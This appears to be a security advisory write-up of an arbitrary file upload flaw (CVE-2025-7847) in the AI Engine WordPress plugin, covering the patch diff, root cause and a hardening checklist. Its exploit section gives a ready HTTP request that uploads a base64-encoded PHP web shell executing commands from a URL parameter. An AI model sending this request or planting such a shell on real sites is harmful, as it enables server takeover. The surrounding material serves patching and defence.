The Exploit
An authenticated attacker with Subscriber-level access can upload arbitrary file types to the server by sending a REST API request to the rest_simpleFileUpload endpoint without proper file type validation.
POST /wp-json/ai-engine/v1/simpleFileUpload HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <subscriber_token>
{
"filename": "shell.php",
"base64": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
}
The attacker observes a 200 OK response with the uploaded file path in the JSON response. The malicious PHP file is written to the WordPress uploads directory and becomes executable, allowing the attacker to execute arbitrary code on the server by visiting the file directly via HTTP.
What the Patch Did
Before:
else {
$extension = pathinfo( $filename, PATHINFO_EXTENSION );
}
$newFilename = $refId . '.' . $extension;
$unique_filename = wp_unique_filename( wp_upload_dir()['path'], $newFilename );
$destination = wp_upload_dir()['path'] . '/' . $unique_filename;
After:
else {
$extension = pathinfo( $filename, PATHINFO_EXTENSION );
}
// Validate file type using WordPress built-in function
$validate = wp_check_filetype( $filename );
if ( $validate['type'] == false ) {
throw new Exception( 'File type is not allowed.' );
}
$newFilename = $refId . '.' . $extension;
$unique_filename = wp_unique_filename( wp_upload_dir()['path'], $newFilename );
$destination = wp_upload_dir()['path'] . '/' . $unique_filename;
The patch added a call to wp_check_filetype(), WordPress's built-in MIME type validation function. This function checks the filename against a whitelist of allowed MIME types and file extensions defined in WordPress's global $allowed_mime_types. If the function returns false for the type key, the file upload is rejected with an exception. This prevents dangerous file types like .php, .exe, .jsp, and others from being saved to the server.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type. The rest_simpleFileUpload() function accepted a filename parameter from the REST API request without validating its file type. The code extracted only the extension using pathinfo() and constructed a new filename, but never checked whether that extension corresponded to a file type that should be allowed on the server. An attacker at the Subscriber authentication level could supply shell.php, webshell.jsp, backdoor.phtml, or any other executable extension, and the file would be written to wp-uploads/ without restriction. The authentication boundary (Subscriber+) was crossed without the necessary authorization check for file type safety.
Why It Works
The load-bearing line is if ( $validate['type'] == false ). Remove it, and the exception is never thrown; the file upload proceeds. The validation itself happens in wp_check_filetype(), which performs a lookup against WordPress's MIME type whitelist. The conditional is what turns that lookup result into an enforcement gate. The engineer also wrapped the logic in an else branch to handle cases where the filename is user-supplied, ensuring validation happens consistently whether the extension came from a user input or a fallback. Without this gate, even if wp_check_filetype() is called, its result is silently ignored and the upload completes.
Hardening Checklist
- Call
wp_check_filetype()on every user-supplied filename before writing it to disk, and throw an exception or return a 400 error if the type is false; do not silently allow fallback behaviour. - Use
wp_upload_bits()orwp_handle_upload_prefilterhook instead of manually constructing file paths, as these functions apply validation automatically. - Implement a capability check (
current_user_can()) at the REST endpoint level to restrict file uploads to users with explicit permission, not just any authenticated user. - Set the upload directory permissions to
0755(or more restrictive) and ensure.htaccessor webserver configuration explicitly blocks execution of scripts in the uploads folder (e.g.,php_flag engine offor<FilesMatch "\.php$"> Deny from all </FilesMatch>). - Validate the
Content-Typeheader andbase64payload separately; never trust the filename extension alone when handling base64-encoded uploads.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-7847